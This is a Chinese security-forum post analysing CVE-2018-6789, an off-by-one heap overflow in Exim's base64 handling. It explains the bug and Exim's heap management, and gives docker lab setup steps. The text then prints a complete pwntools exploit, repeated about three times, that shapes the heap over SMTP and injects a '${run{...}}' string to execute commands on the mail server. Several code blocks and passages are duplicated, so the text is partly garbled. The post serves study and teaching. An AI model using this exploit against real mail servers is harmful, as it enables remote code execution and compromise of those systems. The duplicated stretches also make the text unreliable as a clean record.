首页
社区
课程
招聘
[原创]CVE-2018-6789 Exim Off-by-one漏洞分析
发表于: 2018-4-13 14:53 10795

[原创]CVE-2018-6789 Exim Off-by-one漏洞分析

2018-4-13 14:53
10795

看到网上有关于这个漏洞的EXP和文章了,这两天仔细调试分析之后觉得这个漏洞还是很有趣的,分享一下。

4.AUTH:在大多数身份验证过程中,exim使用base64编码与客户端进行通信。编码的和解码的字符串存储在一个store_get()分配的缓冲区中。

来看一下github上的补丁[5]。

exim分配3*(len/4)+1个字节来存储解码后的数据。如果解码前的数据有4n+3个字节,exim会分配3n+1个字节但是实际解码后的数据有3n+2个字节,这就在堆上造成了一字节的溢出(off-by-one)。 
exim有一套自己的内存管理系统。
exim中的store_free()和store_malloc()直接调用glibc中的malloc()和free()。glibc会在开头使用0x10字节(x86-64)存储一些信息,并且返回紧随其后的数据区的地址。

开头的0x10字节包括前一个chunk的大小、当前chunk的大小和一些标志等信息。size的前三位用于存储标志。上图0x81的意思是当前chunk的大小是0x80字节,并且前一个chunk在使用中。
在exim中使用的大部分已释放的chunk被放入一个称为unsorted bin的双向链表。glibc根据标志维护它,并将相邻的已释放chunk合并到一个更大的块中以避免碎片化。对于每个分配请求,glibc都会以先进先出的顺序检查这些chunk并重新使用。
由于性能上的考虑,exim使用store_get(),store_release(),store_extend()和store_reset()维护自己的链表结构。

storeblock的主要特点是每个block至少有0x2000个字节并且storeblock也是chunk中的数据。在内存中如下图所示。 

下面是与堆分配有关的函数。
1.EHLO hostname:exim调用store_free()释放旧的hostname,调用store_malloc()存储新的hostname。
/* Discard any previous helo name */

if (sender_helo_name != NULL)
  {
  store_free(sender_helo_name);
  sender_helo_name = NULL;
  }

if (yield) sender_helo_name = string_copy_malloc(start);
return yield;
2.unknown command:exim调用store_get()分配一个缓冲区将具有不可打印字符的无法识别的命令转换为可打印字符。
const uschar *
string_printing2(const uschar *s, BOOL allow_tab)
{
int nonprintcount = 0;
int length = 0;
const uschar *t = s;
uschar *ss, *tt;

while (*t != 0)
  {
  int c = *t++;
  if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
  length++;
  }

if (nonprintcount == 0) return s;

/* Get a new block of store guaranteed big enough to hold the
expanded string. */

ss = store_get(length + nonprintcount * 3 + 1);
3.EHLO/HELO,MAIL,RCPT中的reset:当命令正确完成时exim调用smtp_reset(),释放上一个命令之后所有由store_get()分配的storeblock。

int
smtp_setup_msg(void)
{
int done = 0;
BOOL toomany = FALSE;
BOOL discarded = FALSE;
BOOL last_was_rej_mail = FALSE;
BOOL last_was_rcpt = FALSE;
void *reset_point = store_get(0);

DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");

/* Reset for start of new message. We allow one RSET not to be counted as a
nonmail command, for those MTAs that insist on sending it between every
message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
TLS between messages (an Exim client may do this if it has messages queued up
for the host). Note: we do NOT reset AUTH at this point. */

smtp_reset(reset_point);
/* Discard any previous helo name */

if (sender_helo_name != NULL)
  {
  store_free(sender_helo_name);
  sender_helo_name = NULL;
  }

if (yield) sender_helo_name = string_copy_malloc(start);
return yield;
2.unknown command:exim调用store_get()分配一个缓冲区将具有不可打印字符的无法识别的命令转换为可打印字符。
const uschar *
string_printing2(const uschar *s, BOOL allow_tab)
{
int nonprintcount = 0;
int length = 0;
const uschar *t = s;
uschar *ss, *tt;

while (*t != 0)
  {
  int c = *t++;
  if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
  length++;
  }

if (nonprintcount == 0) return s;

/* Get a new block of store guaranteed big enough to hold the
expanded string. */

ss = store_get(length + nonprintcount * 3 + 1);
3.EHLO/HELO,MAIL,RCPT中的reset:当命令正确完成时exim调用smtp_reset(),释放上一个命令之后所有由store_get()分配的storeblock。

int
smtp_setup_msg(void)
{
int done = 0;
BOOL toomany = FALSE;
BOOL discarded = FALSE;
BOOL last_was_rej_mail = FALSE;
BOOL last_was_rcpt = FALSE;
void *reset_point = store_get(0);

DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");

/* Reset for start of new message. We allow one RSET not to be counted as a
nonmail command, for those MTAs that insist on sending it between every
message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
TLS between messages (an Exim client may do this if it has messages queued up
for the host). Note: we do NOT reset AUTH at this point. */

smtp_reset(reset_point);
const uschar *
string_printing2(const uschar *s, BOOL allow_tab)
{
int nonprintcount = 0;
int length = 0;
const uschar *t = s;
uschar *ss, *tt;

while (*t != 0)
  {
  int c = *t++;
  if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
  length++;
  }

if (nonprintcount == 0) return s;

/* Get a new block of store guaranteed big enough to hold the
expanded string. */

ss = store_get(length + nonprintcount * 3 + 1);
3.EHLO/HELO,MAIL,RCPT中的reset:当命令正确完成时exim调用smtp_reset(),释放上一个命令之后所有由store_get()分配的storeblock。

int
smtp_setup_msg(void)
{
int done = 0;
BOOL toomany = FALSE;
BOOL discarded = FALSE;
BOOL last_was_rej_mail = FALSE;
BOOL last_was_rcpt = FALSE;
void *reset_point = store_get(0);

DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");

/* Reset for start of new message. We allow one RSET not to be counted as a
nonmail command, for those MTAs that insist on sending it between every
message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
TLS between messages (an Exim client may do this if it has messages queued up
for the host). Note: we do NOT reset AUTH at this point. */

smtp_reset(reset_point);
int
smtp_setup_msg(void)
{
int done = 0;
BOOL toomany = FALSE;
BOOL discarded = FALSE;
BOOL last_was_rej_mail = FALSE;
BOOL last_was_rcpt = FALSE;
void *reset_point = store_get(0);

DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");

/* Reset for start of new message. We allow one RSET not to be counted as a
nonmail command, for those MTAs that insist on sending it between every
message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
TLS between messages (an Exim client may do this if it has messages queued up
for the host). Note: we do NOT reset AUTH at this point. */

smtp_reset(reset_point);
github上已经有现成的docker环境和EXP了[3],为了省事就直接用这个环境在docker里面调试。
sudo docker run --cap-add=SYS_PTRACE -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789
--cap-add=SYS_PTRACE命令是因为docker的安全设置问题,为了能够在docker内使用gdb调试,否则会提示ptrace:Operation not permitted。

接下来sudo docker ps看一下CONTAINER ID,sudo docker exec -i -t xxxxxx /bin/bash(xxxxxx是CONTAINER ID)进入docker,apt-get update之后apt-get install gdb再安装gdb插件GEF。接下来需要修改原来的EXP。为了调试方便去掉多线程爆破绕过ASLR的部分,假定已经知道了acl_smtp_mail的地址(之后再详细解释),将IP硬编码为127.0.0.1,在每一个步骤结束之后都添加raw_input使得程序停下方便我们在gdb中观察等等。总之修改后的EXP如下。
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time
from base64 import b64encode
from threading import Thread
  
   
def ehlo(tube, who):
    time.sleep(0.2)
    tube.sendline("ehlo "+who)
    tube.recv()

def docmd(tube, command):
    time.sleep(0.2)
    tube.sendline(command)
    tube.recv()

def auth(tube, command):
    time.sleep(0.2)
    tube.sendline("AUTH CRAM-MD5")
    tube.recv()
    time.sleep(0.2)
    tube.sendline(command)
    tube.recv()

def execute_command():
    global ip
    ip = "127.0.0.1"
    command="/usr/bin/touch /tmp/success"
    context.log_level='warning'
    s = remote(ip, 25)
    
    # 1. put a huge chunk into unsorted bin 
    log.info("send ehlo")
    ehlo(s, "a"*0x1000) # 0x2020
    raw_input("after 0x1000")
    ehlo(s, "a"*0x20)
    raw_input("after 0x20")
	
    # 2. cut the first storeblock by unknown command
    log.info("send unknown command")
    docmd(s, "\xee"*0x700)
    raw_input("after 0x700")
	
    # 3. cut the second storeblock and release the first one
    log.info("send ehlo again to cut storeblock")
    ehlo(s, "c"*0x2c00)
    raw_input("after 0x2c00")
	
    # 4. send base64 data and trigger off-by-one
    log.info("overwrite one byte of next chunk")
    docmd(s, "AUTH CRAM-MD5")
    payload1 = "d"*(0x2020+0x30-0x18-1)
    docmd(s, b64encode(payload1)+"EfE")
    raw_input("after payload1")
	
    # 5. forge chunk size
    log.info("forge chunk size")
    docmd(s, "AUTH CRAM-MD5")
    payload2 = 'm'*0x70+p64(0x1f41) 
    docmd(s, b64encode(payload2))
    raw_input("after payload2")
	
    # 6. release extended chunk
    log.info("resend ehlo")
    ehlo(s, "skysider+")
    raw_input("after release extended chunk")

    # 7. overwrite next pointer of overlapped storeblock
    log.info("overwrite next pointer of overlapped storeblock")
    docmd(s, "AUTH CRAM-MD5")
    try_addr = 0xf59
    payload3 = 'a'*0x2bf0 + p64(0x0) + p64(0x2021) + p8(0x80)+p64(try_addr*0x10+4)
    try:
        docmd(s, b64encode(payload3)) 
	raw_input("after payload3")

        # 8. reset storeblocks and retrive the ACL storeblock
        log.info("reset storeblock")
        ehlo(s, "crashed")
        raw_input("after realease storeblock")

        # 9. overwrite acl strings
        log.info("overwrite acl strings")
        payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
        payload4 += 't'*(0x1f80-len(payload4))
        auth(s, b64encode(payload4)+'ee')
        raw_input("after payload4")

        payload5 = "a"*0x78 + "${run{" + command + "}}\x00"
        auth(s, b64encode(payload5)+"ee")
        raw_input("after payload5")

        # 10. trigger acl check
        log.info("trigger acl check and execute command")
        s.sendline("MAIL FROM: <test@163.com>")
        s.close()
        return 1
    except:
        s.close()
        return 0

if __name__ == '__main__':
    execute_command()

调试过程

1.ehlo 0x1000个字节

 
sudo docker run --cap-add=SYS_PTRACE -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789
--cap-add=SYS_PTRACE命令是因为docker的安全设置问题,为了能够在docker内使用gdb调试,否则会提示ptrace:Operation not permitted。

接下来sudo docker ps看一下CONTAINER ID,sudo docker exec -i -t xxxxxx /bin/bash(xxxxxx是CONTAINER ID)进入docker,apt-get update之后apt-get install gdb再安装gdb插件GEF。接下来需要修改原来的EXP。为了调试方便去掉多线程爆破绕过ASLR的部分,假定已经知道了acl_smtp_mail的地址(之后再详细解释),将IP硬编码为127.0.0.1,在每一个步骤结束之后都添加raw_input使得程序停下方便我们在gdb中观察等等。总之修改后的EXP如下。
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time
from base64 import b64encode
from threading import Thread
  
   
def ehlo(tube, who):
    time.sleep(0.2)
    tube.sendline("ehlo "+who)
    tube.recv()

def docmd(tube, command):
    time.sleep(0.2)
    tube.sendline(command)
    tube.recv()

def auth(tube, command):
    time.sleep(0.2)
    tube.sendline("AUTH CRAM-MD5")
    tube.recv()
    time.sleep(0.2)
    tube.sendline(command)
    tube.recv()

def execute_command():
    global ip
    ip = "127.0.0.1"
    command="/usr/bin/touch /tmp/success"
    context.log_level='warning'
    s = remote(ip, 25)
    
    # 1. put a huge chunk into unsorted bin 
    log.info("send ehlo")
    ehlo(s, "a"*0x1000) # 0x2020
    raw_input("after 0x1000")
    ehlo(s, "a"*0x20)
    raw_input("after 0x20")
	
    # 2. cut the first storeblock by unknown command
    log.info("send unknown command")
    docmd(s, "\xee"*0x700)
    raw_input("after 0x700")
	
    # 3. cut the second storeblock and release the first one
    log.info("send ehlo again to cut storeblock")
    ehlo(s, "c"*0x2c00)
    raw_input("after 0x2c00")
	
    # 4. send base64 data and trigger off-by-one
    log.info("overwrite one byte of next chunk")
    docmd(s, "AUTH CRAM-MD5")
    payload1 = "d"*(0x2020+0x30-0x18-1)
    docmd(s, b64encode(payload1)+"EfE")
    raw_input("after payload1")
	
    # 5. forge chunk size
    log.info("forge chunk size")
    docmd(s, "AUTH CRAM-MD5")
    payload2 = 'm'*0x70+p64(0x1f41) 
    docmd(s, b64encode(payload2))
    raw_input("after payload2")
	
    # 6. release extended chunk
    log.info("resend ehlo")
    ehlo(s, "skysider+")
    raw_input("after release extended chunk")

    # 7. overwrite next pointer of overlapped storeblock
    log.info("overwrite next pointer of overlapped storeblock")
    docmd(s, "AUTH CRAM-MD5")
    try_addr = 0xf59
    payload3 = 'a'*0x2bf0 + p64(0x0) + p64(0x2021) + p8(0x80)+p64(try_addr*0x10+4)
    try:
        docmd(s, b64encode(payload3)) 
	raw_input("after payload3")

        # 8. reset storeblocks and retrive the ACL storeblock
        log.info("reset storeblock")
        ehlo(s, "crashed")
        raw_input("after realease storeblock")

        # 9. overwrite acl strings
        log.info("overwrite acl strings")
        payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
        payload4 += 't'*(0x1f80-len(payload4))
        auth(s, b64encode(payload4)+'ee')
        raw_input("after payload4")

        payload5 = "a"*0x78 + "${run{" + command + "}}\x00"
        auth(s, b64encode(payload5)+"ee")
        raw_input("after payload5")

        # 10. trigger acl check
        log.info("trigger acl check and execute command")
        s.sendline("MAIL FROM: <test@163.com>")
        s.close()
        return 1
    except:
        s.close()
        return 0

if __name__ == '__main__':
    execute_command()

调试过程

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time
from base64 import b64encode
from threading import Thread
  
   
def ehlo(tube, who):
    time.sleep(0.2)
    tube.sendline("ehlo "+who)
    tube.recv()

def docmd(tube, command):
    time.sleep(0.2)
    tube.sendline(command)
    tube.recv()

def auth(tube, command):
    time.sleep(0.2)
    tube.sendline("AUTH CRAM-MD5")
    tube.recv()
    time.sleep(0.2)
    tube.sendline(command)
    tube.recv()

def execute_command():
    global ip
    ip = "127.0.0.1"
    command="/usr/bin/touch /tmp/success"
    context.log_level='warning'
    s = remote(ip, 25)
    
    # 1. put a huge chunk into unsorted bin 
    log.info("send ehlo")
    ehlo(s, "a"*0x1000) # 0x2020
    raw_input("after 0x1000")
    ehlo(s, "a"*0x20)
    raw_input("after 0x20")
	
    # 2. cut the first storeblock by unknown command
    log.info("send unknown command")
    docmd(s, "\xee"*0x700)
    raw_input("after 0x700")
	
    # 3. cut the second storeblock and release the first one
    log.info("send ehlo again to cut storeblock")
    ehlo(s, "c"*0x2c00)
    raw_input("after 0x2c00")
	
    # 4. send base64 data and trigger off-by-one
    log.info("overwrite one byte of next chunk")
    docmd(s, "AUTH CRAM-MD5")
    payload1 = "d"*(0x2020+0x30-0x18-1)
    docmd(s, b64encode(payload1)+"EfE")
    raw_input("after payload1")
	
    # 5. forge chunk size
    log.info("forge chunk size")
    docmd(s, "AUTH CRAM-MD5")
    payload2 = 'm'*0x70+p64(0x1f41) 
    docmd(s, b64encode(payload2))
    raw_input("after payload2")
	
    # 6. release extended chunk
    log.info("resend ehlo")
    ehlo(s, "skysider+")
    raw_input("after release extended chunk")

    # 7. overwrite next pointer of overlapped storeblock
    log.info("overwrite next pointer of overlapped storeblock")
    docmd(s, "AUTH CRAM-MD5")
    try_addr = 0xf59
    payload3 = 'a'*0x2bf0 + p64(0x0) + p64(0x2021) + p8(0x80)+p64(try_addr*0x10+4)
    try:
        docmd(s, b64encode(payload3)) 
	raw_input("after payload3")

        # 8. reset storeblocks and retrive the ACL storeblock
        log.info("reset storeblock")
        ehlo(s, "crashed")
        raw_input("after realease storeblock")

        # 9. overwrite acl strings
        log.info("overwrite acl strings")
        payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
        payload4 += 't'*(0x1f80-len(payload4))
        auth(s, b64encode(payload4)+'ee')
        raw_input("after payload4")

        payload5 = "a"*0x78 + "${run{" + command + "}}\x00"
        auth(s, b64encode(payload5)+"ee")
        raw_input("after payload5")

        # 10. trigger acl check
        log.info("trigger acl check and execute command")
        s.sendline("MAIL FROM: <test@163.com>")
        s.close()
        return 1
    except:
        s.close()
        return 0

if __name__ == '__main__':
    execute_command()
1.ehlo 0x1000个字节

 
2.ehlo 0x20个字节,上一次的0x1000个字节被释放


3.发送unknown command,分配一个新的storeblock


4.ehlo 0x2c00个字节,回收unknown command分配的内存,由于之前的sender_host_name占用的内存已经释放,所以会空出0x30+0x2020=0×2050个字节


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-4-15 11:47 被houjingyi编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
(。・∀・)ノ゙嗨,能麻烦请问一下,怎么用的gef进入的exim吗
我直接gdb  -q  ./exim
然后run就一直报错了,没办法动态调试看堆的情况,请问能告诉我一下吗
2018-5-17 15:21
0
雪    币: 11
活跃值: (96)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
summerb (。・∀・)ノ゙嗨,能麻烦请问一下,怎么用的gef进入的exim吗 我直接gdb -q ./exim 然后run就一直报错了,没办法动态调试看堆的情况,请问能告诉我一下吗
先dockers exec,然后在docker里运行gdb,进行调试
2020-8-18 17:08
0
游客
登录 | 注册 方可回帖
返回